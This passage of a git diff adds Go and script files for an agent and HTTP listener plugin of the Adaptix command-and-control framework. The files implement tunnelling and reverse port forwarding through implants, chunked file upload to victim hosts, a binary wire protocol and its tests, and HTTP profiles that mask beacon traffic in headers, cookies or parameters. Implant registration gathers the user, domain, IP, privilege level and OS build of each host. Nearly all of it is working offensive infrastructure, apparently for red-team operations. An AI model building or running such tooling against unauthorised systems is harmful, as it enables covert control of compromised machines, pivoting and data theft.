taskTypeTask, + AgentId: agentData.Id, + TaskId: taskIdStr, + Completed: false, + Sync: true, + MessageType: messageSeverityInfo, + Message: displayText, + } + if Ts != nil { + Ts.TsTaskUpdate(agentData.Id, task) + } + return nil + } + } + + task := adaptix.TaskData{ + Type: taskTypeTask, + AgentId: agentData.Id, + TaskId: taskIdStr, + FinishDate: time.Now().Unix(), + Completed: true, + Sync: true, + } + if status == STATUS_OK { + task.MessageType = messageSeveritySuccess + task.Message = displayText + if clearText != "" { + task.ClearText = clearText + } + } else { + errMsg := fmt.Sprintf("command failed (status=%d)", status) + if len(data) == 4 { + code := binary.LittleEndian.Uint32(data) + if code != 0 { + errMsg = fmt.Sprintf("command failed: Win32 error %d (%s)", code, win32ErrorName(code)) + } + } + task.MessageType = messageSeverityError + task.Message = errMsg + } + if Ts != nil { + Ts.TsTaskUpdate(agentData.Id, task) + } + return nil + + default: + return fmt.Errorf("nonameax: ProcessData: unknown wire type %d", msgType) + } +} diff --git a/src_server/agent_nonameax/pl_tunnels.go b/src_server/agent_nonameax/pl_tunnels.go new file mode 100644 index 0000000..dbbde7a --- /dev/null +++ b/src_server/agent_nonameax/pl_tunnels.go @@ -0,0 +1,189 @@ +package main + +import ( + "encoding/binary" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +/* ========= [ tunnel wire constants ] ========= */ + +const ( + cmdTunnelConnectTCP byte = 0x3E + cmdTunnelWriteTCP byte = 0x40 + cmdTunnelClose byte = 0x42 + cmdTunnelReverse byte = 0x43 + cmdTunnelAccept byte = 0x44 + cmdTunnelPause byte = 0x45 + cmdTunnelResume byte = 0x46 + + STATUS_TUNNEL byte = 0x20 +) + +/* ========= [ task builder ] ========= */ + +func tunnelTask(cmdId byte, args []byte) adaptix.TaskData { + buf := make([]byte, 5+len(args)) + buf[0] = cmdId + binary.LittleEndian.PutUint32(buf[1:5], uint32(len(args))) + copy(buf[5:], args) + return adaptix.TaskData{ + Type: adaptix.TASK_TYPE_PROXY_DATA, + Data: buf, + Sync: false, + } +} + +/* ========= [ TunnelCallbacks ] ========= */ + +func tunnelConnectTCP(channelId, tunnelType, addressType int, address string, port int) adaptix.TaskData { + addrBytes := []byte(address) + args := make([]byte, 4+4+4+len(addrBytes)+4) + binary.LittleEndian.PutUint32(args[0:4], uint32(channelId)) + binary.LittleEndian.PutUint32(args[4:8], uint32(tunnelType)) + binary.LittleEndian.PutUint32(args[8:12], uint32(len(addrBytes))) + copy(args[12:12+len(addrBytes)], addrBytes) + binary.LittleEndian.PutUint32(args[12+len(addrBytes):], uint32(port)) + return tunnelTask(cmdTunnelConnectTCP, args) +} + +func tunnelConnectUDP(channelId, tunnelType, addressType int, address string, port int) adaptix.TaskData { + return adaptix.TaskData{} +} + +func tunnelWriteTCP(channelId int, data []byte) adaptix.TaskData { + args := make([]byte, 4+4+len(data)) + binary.LittleEndian.PutUint32(args[0:4], uint32(channelId)) + binary.LittleEndian.PutUint32(args[4:8], uint32(len(data))) + copy(args[8:], data) + return tunnelTask(cmdTunnelWriteTCP, args) +} + +func tunnelWriteUDP(channelId int, data []byte) adaptix.TaskData { + return adaptix.TaskData{} +} + +func tunnelPause(channelId int) adaptix.TaskData { + args := make([]byte, 4) + binary.LittleEndian.PutUint32(args[0:4], uint32(channelId)) + return tunnelTask(cmdTunnelPause, args) +} + +func tunnelResume(channelId int) adaptix.TaskData { + args := make([]byte, 4) + binary.LittleEndian.PutUint32(args[0:4], uint32(channelId)) + return tunnelTask(cmdTunnelResume, args) +} + +func tunnelClose(channelId int) adaptix.TaskData { + args := make([]byte, 4) + binary.LittleEndian.PutUint32(args[0:4], uint32(channelId)) + return tunnelTask(cmdTunnelClose, args) +} + +func tunnelReverse(tunnelId, port int) adaptix.TaskData { + args := make([]byte, 8) + binary.LittleEndian.PutUint32(args[0:4], uint32(tunnelId)) + binary.LittleEndian.PutUint32(args[4:8], uint32(port)) + return tunnelTask(cmdTunnelReverse, args) +} + +/* ========= [ result parser ] ========= */ + +func processTunnelResult(agentId string, data []byte) { + off := 0 + for off+8 <= len(data) { + entryLen := int(binary.LittleEndian.Uint32(data[off : off+4])) + if entryLen < 4 || off+4+entryLen > len(data) { + break + } + cmdId := binary.LittleEndian.Uint32(data[off+4 : off+8]) + payload := data[off+8 : off+4+entryLen] + + switch byte(cmdId) { + + case cmdTunnelConnectTCP: + if len(payload) < 12 { + break + } + channelId := int(binary.LittleEndian.Uint32(payload[0:4])) + result := binary.LittleEndian.Uint32(payload[8:12]) + if Ts != nil { + if result == 0 { + Ts.TsTunnelConnectionResume(agentId, channelId, false) + } else { + Ts.TsTunnelConnectionClose(channelId, false) + } + } + + case cmdTunnelWriteTCP: + if len(payload) < 8 { + break + } + channelId := int(binary.LittleEndian.Uint32(payload[0:4])) + dataLen := int(binary.LittleEndian.Uint32(payload[4:8])) + if len(payload) < 8+dataLen { + break + } + if Ts != nil { + Ts.TsTunnelConnectionData(channelId, payload[8:8+dataLen]) + } + + case cmdTunnelClose: + if len(payload) < 12 { + break + } + channelId := int(binary.LittleEndian.Uint32(payload[0:4])) + if Ts != nil { + Ts.TsTunnelConnectionClose(channelId, false) + } + + case cmdTunnelReverse: + if len(payload) < 12 { + break + } + tunnelId := int(binary.LittleEndian.Uint32(payload[0:4])) + result := binary.LittleEndian.Uint32(payload[8:12]) + if Ts != nil { + Ts.TsTunnelUpdateRportfwd(tunnelId, result != 0) + } + + case cmdTunnelAccept: + if len(payload) < 8 { + break + } + tunnelId := int(binary.LittleEndian.Uint32(payload[0:4])) + newChannelId := int(binary.LittleEndian.Uint32(payload[4:8])) + if Ts != nil { + Ts.TsTunnelConnectionAccept(tunnelId, newChannelId) + } + + case cmdTunnelPause: + if len(payload) < 4 { + break + } + channelId := int(binary.LittleEndian.Uint32(payload[0:4])) + if Ts != nil { + Ts.TsTunnelPause(channelId) + } + + case cmdTunnelResume: + if len(payload) < 4 { + break + } + channelId := int(binary.LittleEndian.Uint32(payload[0:4])) + if Ts != nil { + Ts.TsTunnelResume(channelId) + } + + default: + naxLogErr("tunnel: unknown cmdId 0x%02x", cmdId) + } + + off += 4 + entryLen + } + + if off < len(data) { + naxLogErr("tunnel: %d trailing bytes in result", len(data)-off) + } +} diff --git a/src_server/agent_nonameax/pl_upload.go b/src_server/agent_nonameax/pl_upload.go new file mode 100644 index 0000000..11e3e9c --- /dev/null +++ b/src_server/agent_nonameax/pl_upload.go @@ -0,0 +1,144 @@ +package main + +import ( + "encoding/binary" + "fmt" + "math/rand" + "strconv" + "strings" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +type uploadSession struct { + AgentId string + RemotePath string + FileData []byte + ChunkSize int + MemoryId uint32 + TotalSize int + TotalChunks int + ChunksSent int + ChunksAcked int32 +} + +func startUploadSession(agentId string, remotePath string, fileContent []byte, chunkSize int) { + memoryId := rand.Uint32() + totalChunks := (len(fileContent) + chunkSize - 1) / chunkSize + session := &uploadSession{ + AgentId: agentId, + RemotePath: remotePath, + FileData: fileContent, + ChunkSize: chunkSize, + MemoryId: memoryId, + TotalSize: len(fileContent), + TotalChunks: totalChunks, + } + activeUploads.Store(memoryId, session) + queueSaveMemoryChunk(session) +} + +func queueSaveMemoryChunk(session *uploadSession) { + if session.ChunksSent >= session.TotalChunks { + return + } + start := session.ChunksSent * session.ChunkSize + end := start + session.ChunkSize + if end > len(session.FileData) { + end = len(session.FileData) + } + chunk := session.FileData[start:end] + chunkLen := uint32(len(chunk)) + + argsLen := uint32(12) + chunkLen + data := make([]byte, 5+argsLen) + data[0] = CMD_SAVEMEMORY + binary.LittleEndian.PutUint32(data[1:5], argsLen) + off := uint32(5) + binary.LittleEndian.PutUint32(data[off:off+4], session.MemoryId) + off += 4 + binary.LittleEndian.PutUint32(data[off:off+4], uint32(session.TotalSize)) + off += 4 + binary.LittleEndian.PutUint32(data[off:off+4], chunkLen) + off += 4 + copy(data[off:], chunk) + + taskId := fmt.Sprintf("%08x", rand.Uint32()) + taskMemoryIds.Store(taskId, session.MemoryId) + session.ChunksSent++ + + taskData := adaptix.TaskData{ + TaskId: taskId, + Type: taskTypeTask, + AgentId: session.AgentId, + Data: data, + Sync: false, + } + if Ts != nil { + Ts.TsTaskCreate(session.AgentId, "", "", taskData) + } +} + +func queueUploadTask(session *uploadSession) { + pathB := []byte(session.RemotePath) + totalArgs := 4 + 4 + len(pathB) + data := make([]byte, 1+4+totalArgs) + data[0] = CMD_UPLOAD + binary.LittleEndian.PutUint32(data[1:5], uint32(totalArgs)) + off := 5 + binary.LittleEndian.PutUint32(data[off:off+4], session.MemoryId) + off += 4 + binary.LittleEndian.PutUint32(data[off:off+4], uint32(len(pathB))) + off += 4 + copy(data[off:], pathB) + + taskId := fmt.Sprintf("%08x", rand.Uint32()) + taskMemoryIds.Store(taskId, session.MemoryId) + + taskData := adaptix.TaskData{ + TaskId: taskId, + Type: taskTypeTask, + AgentId: session.AgentId, + Data: data, + Sync: true, + } + if Ts != nil { + Ts.TsTaskCreate(session.AgentId, "", "", taskData) + } +} + +func humanSize(n int) string { + if n >= 1024*1024 && n%(1024*1024) == 0 { + return fmt.Sprintf("%dMB", n/(1024*1024)) + } + if n >= 1024 && n%1024 == 0 { + return fmt.Sprintf("%dKB", n/1024) + } + return fmt.Sprintf("%d bytes", n) +} + +func parseChunkSize(raw string) (int, error) { + raw = strings.TrimSpace(strings.ToUpper(raw)) + multiplier := 1 + if strings.HasSuffix(raw, "MB") { + multiplier = 1024 * 1024 + raw = strings.TrimSuffix(raw, "MB") + } else if strings.HasSuffix(raw, "KB") { + multiplier = 1024 + raw = strings.TrimSuffix(raw, "KB") + } else if strings.HasSuffix(raw, "B") { + raw = strings.TrimSuffix(raw, "B") + } + n, err := strconv.Atoi(strings.TrimSpace(raw)) + if err != nil { + return 0, fmt.Errorf("invalid chunk size: %w", err) + } + size := n * multiplier + if size < UPLOAD_CHUNK_MIN { + return 0, fmt.Errorf("chunk size too small (min %d bytes)", UPLOAD_CHUNK_MIN) + } + if size > UPLOAD_CHUNK_MAX { + return 0, fmt.Errorf("chunk size too large (max %d bytes / %dMB)", UPLOAD_CHUNK_MAX, UPLOAD_CHUNK_MAX/(1024*1024)) + } + return size, nil +} diff --git a/src_server/agent_nonameax/pl_wire.go b/src_server/agent_nonameax/pl_wire.go new file mode 100644 index 0000000..dcda1da --- /dev/null +++ b/src_server/agent_nonameax/pl_wire.go @@ -0,0 +1,379 @@ +package main + +// DO NOT EDIT IN ISOLATION - keep byte-identical with +// extender/listener_nonameax_http/pl_wire.go. See ADR-002. +// +// Implements the wire frame layout from docs/protocol/wire-v0.md: +// +--------+----------+-------------------+------------------+ +// | type:1 | flags:1 | bodylen:4 (LE) | body bytes | +// +--------+----------+-------------------+------------------+ + +import ( + "encoding/binary" + "errors" +) + +// Message types - see docs/protocol/wire-v0.md §"Message types" +const ( + WireTypeRegister byte = 0x01 + WireTypeHeartbeat byte = 0x02 + WireTypeResult byte = 0x03 + WireTypeNoTasks byte = 0x80 + WireTypeTask byte = 0x81 + WireTypeProfile byte = 0x82 +) + +// EncodeFrame builds a wire frame: type, flags=0, bodylen LE u32, body bytes. +func EncodeFrame(msgType byte, body []byte) []byte { + out := make([]byte, 6+len(body)) + out[0] = msgType + out[1] = 0 // flags reserved + binary.LittleEndian.PutUint32(out[2:6], uint32(len(body))) + copy(out[6:], body) + return out +} + +// DecodeFrame splits a frame into its components. Returns (type, flags, body, err). +func DecodeFrame(frame []byte) (byte, byte, []byte, error) { + if len(frame) < 6 { + return 0, 0, nil, errors.New("nax-wire: frame shorter than 6-byte header") + } + msgType := frame[0] + flags := frame[1] + bodyLen := int(binary.LittleEndian.Uint32(frame[2:6])) + if 6+bodyLen > len(frame) { + return 0, 0, nil, errors.New("nax-wire: body truncated relative to declared length") + } + return msgType, flags, frame[6 : 6+bodyLen], nil +} + +// RegisterBody is the decoded form of a wire-v0 REGISTER body. +type RegisterBody struct { + Hostname string + Username string + Arch byte + Pid uint32 + SleepMs uint32 + // Extended fields (appended after SleepMs in wire-v0.1+) + Tid uint32 // Thread ID (GetCurrentThreadId) + Ip string // Internal IPv4 e.g. "192.168.1.5" + Domain string // Windows domain or "WORKGROUP" + ProcessName string // Short image name e.g. "notepad.exe" (optional, wire-v0.2+) + // System info fields (wire-v0.3+) + Elevated byte // 1 = elevated/admin + OsMajor uint32 // Windows major version + OsMinor uint32 // Windows minor version + OsBuild uint16 // Windows build number + ParentPid uint32 // Parent process ID + Acp uint32 // ANSI code page + OemCp uint32 // OEM code page + ImgPath string // Full image path (UTF-8) +} + +// DecodeRegister parses the body of a REGISTER message per docs/protocol/wire-v0.md §"REGISTER body". +// Extended fields (Tid, Ip, Domain) are optional - omitted by older implants; +// the decoder accepts both and leaves unread fields at their zero values. +func DecodeRegister(body []byte) (RegisterBody, error) { + var r RegisterBody + cursor := 0 + + hostname, cursor, err := readLenPrefixedString(body, cursor) + if err != nil { + return r, err + } + r.Hostname = hostname + + username, cursor, err := readLenPrefixedString(body, cursor) + if err != nil { + return r, err + } + r.Username = username + + if cursor+1+4+4 > len(body) { + return r, errors.New("nax-wire: REGISTER body truncated at fixed tail") + } + r.Arch = body[cursor] + cursor++ + r.Pid = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + r.SleepMs = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + + // Extended fields - present only when the implant sends them. + // tid(4LE) + if cursor+4 <= len(body) { + r.Tid = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + } + // ip_len(2LE) + ip + if cursor+2 <= len(body) { + if ip, newCursor, ipErr := readLenPrefixedString(body, cursor); ipErr == nil { + r.Ip = ip + cursor = newCursor + } + } + // domain_len(2LE) + domain + if cursor+2 <= len(body) { + if domain, newCursor, domErr := readLenPrefixedString(body, cursor); domErr == nil { + r.Domain = domain + cursor = newCursor + } + } + // proc_len(2LE) + proc (optional, wire-v0.2+) + if cursor+2 <= len(body) { + if proc, newCursor, procErr := readLenPrefixedString(body, cursor); procErr == nil { + r.ProcessName = proc + cursor = newCursor + } + } + // System info fields (wire-v0.3+): elevated(1) + os_major(4) + os_minor(4) + os_build(2) + parent_pid(4) + acp(4) + oem_cp(4) + img_path_len(2)+img_path + if cursor+1 <= len(body) { + r.Elevated = body[cursor] + cursor++ + } + if cursor+4 <= len(body) { + r.OsMajor = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + } + if cursor+4 <= len(body) { + r.OsMinor = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + } + if cursor+2 <= len(body) { + r.OsBuild = binary.LittleEndian.Uint16(body[cursor : cursor+2]) + cursor += 2 + } + if cursor+4 <= len(body) { + r.ParentPid = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + } + if cursor+4 <= len(body) { + r.Acp = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + } + if cursor+4 <= len(body) { + r.OemCp = binary.LittleEndian.Uint32(body[cursor : cursor+4]) + cursor += 4 + } + if cursor+2 <= len(body) { + if img, newCursor, imgErr := readLenPrefixedString(body, cursor); imgErr == nil { + r.ImgPath = img + cursor = newCursor + } + } + _ = cursor + return r, nil +} + +func readLenPrefixedString(body []byte, cursor int) (string, int, error) { + if cursor+2 > len(body) { + return "", 0, errors.New("nax-wire: length-prefixed string: header truncated") + } + n := int(binary.LittleEndian.Uint16(body[cursor : cursor+2])) + cursor += 2 + if cursor+n > len(body) { + return "", 0, errors.New("nax-wire: length-prefixed string: body truncated") + } + s := string(body[cursor : cursor+n]) + cursor += n + return s, cursor, nil +} + +// EncodeTaskBody builds the body of a wire TASK frame: +// +// task_id(4LE) || cmdData +// +// cmdData contains cmd_id(1) || args_len(4LE) || args as assembled by +// the server's PackTasks. Wrap the result in EncodeFrame(WireTypeTask, ...). +func EncodeTaskBody(taskId uint32, cmdData []byte) []byte { + out := make([]byte, 4+len(cmdData)) + binary.LittleEndian.PutUint32(out[0:4], taskId) + copy(out[4:], cmdData) + return out +} + +// DecodeResultBody parses the body of a wire-v0 RESULT frame per +// docs/protocol/wire-v0.md §"RESULT body". +// +// task_id(4LE) | status(1) | data_len(4LE) | data +func DecodeResultBody(body []byte) (taskId uint32, status byte, data []byte, err error) { + if len(body) < 9 { + return 0, 0, nil, errors.New("nax-wire: RESULT body too short (need ≥9 bytes)") + } + taskId = binary.LittleEndian.Uint32(body[0:4]) + status = body[4] + dataLen := int(binary.LittleEndian.Uint32(body[5:9])) + if 9+dataLen > len(body) { + return 0, 0, nil, errors.New("nax-wire: RESULT body data field truncated") + } + return taskId, status, body[9 : 9+dataLen], nil +} + +// EncodeProfileBodyV1 builds the body of a v1 PROFILE frame from config fields. +// Kept for backward compat - new code should use EncodeProfileBodyV2. +func EncodeProfileBodyV1(getUris, postUris, userAgents, headers []string, cookieName string, rotation byte) []byte { + var buf []byte + + writeStringList := func(strs []string) { + b := make([]byte, 2) + binary.LittleEndian.PutUint16(b, uint16(len(strs))) + buf = append(buf, b...) + for _, s := range strs { + lb := make([]byte, 2) + binary.LittleEndian.PutUint16(lb, uint16(len(s))) + buf = append(buf, lb...) + buf = append(buf, []byte(s)...) + } + } + + writeStringList(getUris) + writeStringList(postUris) + writeStringList(userAgents) + writeStringList(headers) + + // cookie name + cb := make([]byte, 2) + binary.LittleEndian.PutUint16(cb, uint16(len(cookieName))) + buf = append(buf, cb...) + buf = append(buf, []byte(cookieName)...) + + // rotation + buf = append(buf, rotation) + + return buf +} + +/* ========= [ Profile v2 types ] ========= */ + +type OutputConfig struct { + Format string // "raw", "base64", "base64url", "hex" + Mask bool + Placement string // "body", "header", "cookie", "parameter" + Name string + Prepend string + Append string + EmptyResp string +} + +type HTTPTransaction struct { + URIs []string + ClientHeaders map[string]string + ClientParams map[string]string + ClientMeta OutputConfig + ClientOutput *OutputConfig // POST only (nil for GET) + ServerHeaders map[string]string + ServerOutput OutputConfig +} + +type ServerError struct { + Status int + Body string + Headers map[string]string +} + +type ProfileConfig struct { + Hosts []string + UserAgent string + Rotation string + BeaconIdHeader string + Error ServerError + Get HTTPTransaction + Post HTTPTransaction +} + +/* ========= [ Profile v2 wire helpers ] ========= */ + +func writeLP(buf *[]byte, s string) { + b := make([]byte, 2) + binary.LittleEndian.PutUint16(b, uint16(len(s))) + *buf = append(*buf, b...) + *buf = append(*buf, []byte(s)...) +} + +func writeOutputConfig(buf *[]byte, cfg *OutputConfig) { + formatMap := map[string]byte{"raw": 0, "base64": 1, "base64url": 2, "hex": 3} + placementMap := map[string]byte{"body": 0, "header": 1, "cookie": 2, "parameter": 3} + fmtByte := formatMap[cfg.Format] + placeByte := placementMap[cfg.Placement] + maskByte := byte(0) + if cfg.Mask { + maskByte = 1 + } + *buf = append(*buf, fmtByte, maskByte, placeByte) + writeLP(buf, cfg.Name) + writeLP(buf, cfg.Prepend) + writeLP(buf, cfg.Append) + writeLP(buf, cfg.EmptyResp) +} + +func writeStringList(buf *[]byte, strs []string) { + b := make([]byte, 2) + binary.LittleEndian.PutUint16(b, uint16(len(strs))) + *buf = append(*buf, b...) + for _, s := range strs { + writeLP(buf, s) + } +} + +func writeHeaderMap(buf *[]byte, hdrs map[string]string) { + entries := make([]string, 0, len(hdrs)) + for k, v := range hdrs { + entries = append(entries, k+": "+v) + } + writeStringList(buf, entries) +} + +/* ========= [ Profile v2 encoder ] ========= */ + +// EncodeProfileBodyV2 serializes a ProfileConfig into the v2 binary wire format. +func EncodeProfileBodyV2(p *ProfileConfig) []byte { + var buf []byte + buf = append(buf, 0x02) // version + rot := byte(0) + if p.Rotation == "random" { + rot = 1 + } + buf = append(buf, rot) + + writeLP(&buf, p.UserAgent) + beaconHdr := p.BeaconIdHeader + if beaconHdr == "" { + beaconHdr = "X-Beacon-Id" + } + writeLP(&buf, beaconHdr) + writeStringList(&buf, p.Hosts) + + // server error + eb := make([]byte, 2) + binary.LittleEndian.PutUint16(eb, uint16(p.Error.Status)) + buf = append(buf, eb...) + writeLP(&buf, p.Error.Body) + writeHeaderMap(&buf, p.Error.Headers) + + // GET block + writeStringList(&buf, p.Get.URIs) + writeOutputConfig(&buf, &p.Get.ClientMeta) + writeHeaderMap(&buf, p.Get.ClientHeaders) + // client params as "key=value" strings + paramStrs := make([]string, 0, len(p.Get.ClientParams)) + for k, v := range p.Get.ClientParams { + paramStrs = append(paramStrs, k+"="+v) + } + writeStringList(&buf, paramStrs) + writeOutputConfig(&buf, &p.Get.ServerOutput) + writeHeaderMap(&buf, p.Get.ServerHeaders) + + // POST block + writeStringList(&buf, p.Post.URIs) + writeOutputConfig(&buf, &p.Post.ClientMeta) + postOutput := p.Post.ClientOutput + if postOutput == nil { + postOutput = &OutputConfig{Format: "raw", Placement: "body"} + } + writeOutputConfig(&buf, postOutput) + writeHeaderMap(&buf, p.Post.ClientHeaders) + writeOutputConfig(&buf, &p.Post.ServerOutput) + writeHeaderMap(&buf, p.Post.ServerHeaders) + + return buf +} diff --git a/src_server/agent_nonameax/pl_wire_test.go b/src_server/agent_nonameax/pl_wire_test.go new file mode 100644 index 0000000..3c6202e --- /dev/null +++ b/src_server/agent_nonameax/pl_wire_test.go @@ -0,0 +1,139 @@ +package main + +import ( + "bytes" + "testing" +) + +func TestEncodeFrameNoTasksProducesSixBytes(t *testing.T) { + got := EncodeFrame(WireTypeNoTasks, nil) + // type=0x80, flags=0x00, bodylen=0x00000000 (LE u32) + want := []byte{0x80, 0x00, 0x00, 0x00, 0x00, 0x00} + if !bytes.Equal(got, want) { + t.Errorf("NO_TASKS frame: got %x, want %x", got, want) + } +} + +func TestEncodeFrameRoundTripsThroughDecode(t *testing.T) { + body := []byte{0xde, 0xad, 0xbe, 0xef} + frame := EncodeFrame(WireTypeResult, body) + typ, flags, gotBody, err := DecodeFrame(frame) + if err != nil { + t.Fatalf("DecodeFrame: %v", err) + } + if typ != WireTypeResult { + t.Errorf("type: got %#x, want %#x", typ, WireTypeResult) + } + if flags != 0 { + t.Errorf("flags: got %#x, want 0", flags) + } + if !bytes.Equal(gotBody, body) { + t.Errorf("body: got %x, want %x", gotBody, body) + } +} + +func TestDecodeFrameRejectsTooShort(t *testing.T) { + if _, _, _, err := DecodeFrame([]byte{0x01, 0x00, 0x05}); err == nil { + t.Error("expected error for under-4-byte frame") + } +} + +func TestDecodeFrameRejectsTruncatedBody(t *testing.T) { + // bodylen claims 10 but only 2 follow + bad := []byte{0x01, 0x00, 0x0a, 0x00, 0xaa, 0xbb} + if _, _, _, err := DecodeFrame(bad); err == nil { + t.Error("expected error for truncated body") + } +} + +func TestDecodeRegisterBodyHappyPath(t *testing.T) { + // Construct a REGISTER body matching docs/protocol/wire-v0.md + body := []byte{} + body = append(body, 0x04, 0x00) // hostname_len = 4 + body = append(body, []byte("HOST")...) + body = append(body, 0x05, 0x00) // username_len = 5 + body = append(body, []byte("alice")...) + body = append(body, 0x01) // arch = x64 + body = append(body, 0x39, 0x05, 0x00, 0x00) // pid = 1337 + body = append(body, 0xe8, 0x03, 0x00, 0x00) // sleep_ms = 1000 + + reg, err := DecodeRegister(body) + if err != nil { + t.Fatalf("DecodeRegister: %v", err) + } + if reg.Hostname != "HOST" { + t.Errorf("hostname: got %q, want HOST", reg.Hostname) + } + if reg.Username != "alice" { + t.Errorf("username: got %q, want alice", reg.Username) + } + if reg.Arch != 0x01 { + t.Errorf("arch: got %#x, want 0x01", reg.Arch) + } + if reg.Pid != 1337 { + t.Errorf("pid: got %d, want 1337", reg.Pid) + } + if reg.SleepMs != 1000 { + t.Errorf("sleep_ms: got %d, want 1000", reg.SleepMs) + } +} + +func TestDecodeRegisterRejectsTruncatedHostname(t *testing.T) { + bad := []byte{0xff, 0x00, 0x41, 0x41} + if _, err := DecodeRegister(bad); err == nil { + t.Error("expected error for truncated hostname") + } +} + +func TestEncodeTaskBodyProducesCorrectLayout(t *testing.T) { + // wire-v0 §"Worked example": task_id=1, cmd_id=CMD_WHOAMI(0x10), args_len=0 + // Expected body: 01 00 00 00 10 00 00 + cmdData := []byte{0x10, 0x00, 0x00} + got := EncodeTaskBody(1, cmdData) + want := []byte{0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00} + if !bytes.Equal(got, want) { + t.Errorf("EncodeTaskBody: got %x, want %x", got, want) + } +} + +func TestDecodeResultBodyHappyPath(t *testing.T) { + // wire-v0 §"Worked example" RESULT body: task_id=1, status=OK, data="WIN10\user12" + resultBody := []byte{ + 0x01, 0x00, 0x00, 0x00, // task_id = 1 + 0x00, // status = OK + 0x0c, 0x00, 0x00, 0x00, // data_len = 12 + 'W', 'I', 'N', '1', '0', '\\', 'u', 's', 'e', 'r', '1', '2', + } + taskId, status, data, err := DecodeResultBody(resultBody) + if err != nil { + t.Fatalf("DecodeResultBody: %v", err) + } + if taskId != 1 { + t.Errorf("taskId: got %d, want 1", taskId) + } + if status != 0x00 { + t.Errorf("status: got %#x, want 0x00", status) + } + if string(data) != `WIN10\user12` { + t.Errorf("data: got %q, want %q", string(data), `WIN10\user12`) + } +} + +func TestDecodeResultBodyRejectsTooShort(t *testing.T) { + if _, _, _, err := DecodeResultBody([]byte{0x01, 0x00, 0x00}); err == nil { + t.Error("expected error for under-9-byte RESULT body") + } +} + +func TestDecodeResultBodyRejectsTruncatedData(t *testing.T) { + // claims data_len = 100 but only 3 bytes follow + bad := []byte{ + 0x01, 0x00, 0x00, 0x00, // task_id + 0x00, // status + 0x64, 0x00, 0x00, 0x00, // data_len = 100 + 0xAA, 0xBB, 0xCC, // only 3 bytes + } + if _, _, _, err := DecodeResultBody(bad); err == nil { + t.Error("expected error for truncated data field") + } +} diff --git a/src_server/listener_nonameax_http/Makefile b/src_server/listener_nonameax_http/Makefile new file mode 100644 index 0000000..a399701 --- /dev/null +++ b/src_server/listener_nonameax_http/Makefile @@ -0,0 +1,22 @@ +# Makefile - listener_nonameax_http extender plugin +# +# GOEXPERIMENT must match the flags used to build adaptixserver; the Go plugin +# loader checks internal/goexperiment compatibility and rejects mismatches. +# Inspect the server binary with: +# strings Server/adaptixserver | grep '^go[0-9]' +# Current server: go1.25.4 X:jsonv2,greenteagc + +GOEXPERIMENT := jsonv2,greenteagc +DEPLOY_DIR := ../../../Server/extenders/listener_nonameax_http +OUT := $(DEPLOY_DIR)/listener_nonameax_http.so + +.PHONY: all clean + +all: $(OUT) + +$(OUT): *.go + GOEXPERIMENT=$(GOEXPERIMENT) go build -buildmode=plugin -o $(OUT) . + @echo " DEPLOY $(OUT)" + +clean: + rm -f $(OUT) diff --git a/src_server/listener_nonameax_http/ax_config.axs b/src_server/listener_nonameax_http/ax_config.axs new file mode 100644 index 0000000..3d232f5 --- /dev/null +++ b/src_server/listener_nonameax_http/ax_config.axs @@ -0,0 +1,248 @@ + +function ListenerUI(mode_create) +{ + // ========= [ helpers ] ========= + + function listToArray(w) { + let a = []; for (let i = 0; i < w.count(); i++) a.push(w.text(i)); return a; + } + function headersToObj(w) { + let o = {}; + for (let i = 0; i < w.count(); i++) { let s = w.text(i); let x = s.indexOf(": "); if (x > 0) o[s.substring(0,x)] = s.substring(x+2); } + return o; + } + function paramsToObj(w) { + let o = {}; + for (let i = 0; i < w.count(); i++) { let s = w.text(i); let x = s.indexOf("="); if (x > 0) o[s.substring(0,x)] = s.substring(x+1); } + return o; + } + + function makeCfgRow(defFmt, defMask, defPlace, defName) { + let fmt = form.create_combo(); fmt.addItems(["raw","base64","base64url","hex"]); + if (defFmt) fmt.setCurrentIndex(["raw","base64","base64url","hex"].indexOf(defFmt)); + let mask = form.create_check("Mask"); if (defMask) mask.setChecked(true); + let place = form.create_combo(); place.addItems(["body","header","cookie","parameter"]); + if (defPlace) place.setCurrentIndex(["body","header","cookie","parameter"].indexOf(defPlace)); + let name = form.create_textline(defName || ""); + return { fmt: fmt, mask: mask, place: place, name: name }; + } + + function loadCfgRow(cr, obj) { + if (!obj) return; + if (obj.format) cr.fmt.setCurrentIndex(["raw","base64","base64url","hex"].indexOf(obj.format)); + if (obj.mask) cr.mask.setChecked(true); else cr.mask.setChecked(false); + if (obj.placement) cr.place.setCurrentIndex(["body","header","cookie","parameter"].indexOf(obj.placement)); + if (obj.name) cr.name.setText(obj.name); else cr.name.setText(""); + } + + function readCfgRow(cr) { + return { format: cr.fmt.currentText(), mask: cr.mask.isChecked(), placement: cr.place.currentText(), name: cr.name.text() }; + } + + function addCfgRow(layout, row, label, cr) { + layout.addWidget(form.create_label(label), row, 0); + layout.addWidget(cr.fmt, row, 1); + layout.addWidget(cr.mask, row, 2); + layout.addWidget(cr.place, row, 3); + layout.addWidget(cr.name, row, 4); + } + + // ========= [ Tab 1: Network ] ========= + + let comboHostBind = form.create_combo(); + comboHostBind.setEnabled(mode_create); comboHostBind.clear(); + for (let item of ax.interfaces()) comboHostBind.addItem(item); + + let spinPortBind = form.create_spin(); + spinPortBind.setRange(1, 65535); spinPortBind.setValue(8080); spinPortBind.setEnabled(mode_create); + + let textlineEncryptKey = form.create_textline(ax.random_string(32, "hex")); + textlineEncryptKey.setEnabled(mode_create); + let btnKey = form.create_button("Generate"); btnKey.setEnabled(mode_create); + form.connect(btnKey, "clicked", function() { textlineEncryptKey.setText(ax.random_string(32, "hex")); }); + + // ========= [ SSL ] ========= + + let certSelector = form.create_selector_file(); + certSelector.setPlaceholder("SSL certificate (.crt / .pem)"); + let keySelector = form.create_selector_file(); + keySelector.setPlaceholder("SSL private key (.key / .pem)"); + + let sslLayout = form.create_gridlayout(); + sslLayout.addWidget(certSelector, 0, 0, 1, 3); + sslLayout.addWidget(keySelector, 1, 0, 1, 3); + + let sslPanel = form.create_panel(); sslPanel.setLayout(sslLayout); + + let sslGroup = 